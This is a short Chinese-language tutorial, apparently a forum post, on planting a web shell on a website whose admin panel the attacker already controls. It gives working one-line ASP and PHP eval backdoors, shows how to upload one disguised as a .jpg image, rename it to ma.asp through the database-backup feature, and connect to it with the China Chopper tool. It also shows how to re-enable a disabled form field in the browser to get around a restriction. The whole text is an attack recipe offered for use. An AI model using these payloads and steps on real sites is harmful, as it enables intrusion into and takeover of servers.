前提：已经登入了网站的后台
1.在后台中找到一个可以上传文件的地方 （一些上传图片的地方）
2.在本机中写一个一句话木马 后缀用.jpg
asp: <%eval request("pass")%> pass 为自己设定的密码
php: <?php @eval($_POST[ 'pass' ]);?>
3.找到后台数据库备份的地方
当前数据库路径改为之前上传图片后显示的路径
名称改为ma.asp
4.把上传后的路径添加到中国菜刀中，之后就可以获得权限
突破上传限制：
有些时候数据库备份路径被定义为不可写
这个时候可以通过火狐审查元素来解决
找到那句代码 然后把后面的disabled=disabled 删掉
